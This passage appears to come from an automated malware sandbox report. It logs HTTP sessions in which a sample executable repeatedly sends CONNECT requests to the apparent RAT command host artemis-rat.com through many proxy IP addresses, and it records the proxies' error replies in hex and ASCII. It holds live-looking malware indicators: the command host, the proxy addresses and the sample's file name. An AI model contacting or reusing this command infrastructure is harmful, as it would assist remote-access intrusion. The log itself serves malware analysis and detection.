Mar 11, 2024 03:30:38.855509043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.5	50686	186.96.50.20	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.706351042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.232953072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.873648882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.913297892 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.5	50771	104.23.119.91	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.707282066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.861582994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.5	50609	94.45.74.60	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.718184948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.5	50727	20.118.1.112	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.721568108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.920970917 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.5	50709	38.162.8.171	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.722676992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.171797037 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.5	50656	98.162.25.23	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.728524923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.5	50599	103.200.135.228	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.750897884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.5	50650	217.23.11.194	32708	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.751988888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.049307108 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.5	50747	38.162.6.187	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.754793882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.188783884 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.5	50802	154.208.10.126	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.762784004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.923468113 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.5	50792	72.167.220.46	28810	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.764067888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.201702118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.691128969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.670454979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.635797977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.694984913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.702579021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.608360052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405179977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.5	50635	45.11.95.165	6012	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.764070988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.5	50655	121.182.138.71	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.767456055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.067522049 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>
Mar 11, 2024 03:30:42.073328972 CET	339	IN	Data Raw: 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 30 32 3a 33 30 3a 33 38 20 47 4d 54 Data Ascii: TTP/1.1 400 Bad RequestServer: nginx/1.12.2Date: Mon, 11 Mar 2024 02:30:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 173Connection: close<html><head><title>400 Bad Request</title></head><body bgcolor="white">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.5	50578	43.231.22.229	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.775605917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.187432051 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.5	50589	80.249.112.162	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.781188011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:32:17.978811979 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 03:32:19.006568909 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 03:32:20.226150990 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 03:32:22.846352100 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 03:32:27.713888884 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 03:32:37.442261934 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Mar 11, 2024 03:32:56.893462896 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:32:17 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.5	50758	190.120.249.149	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.791850090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.5	50814	104.16.108.204	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:38.792597055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
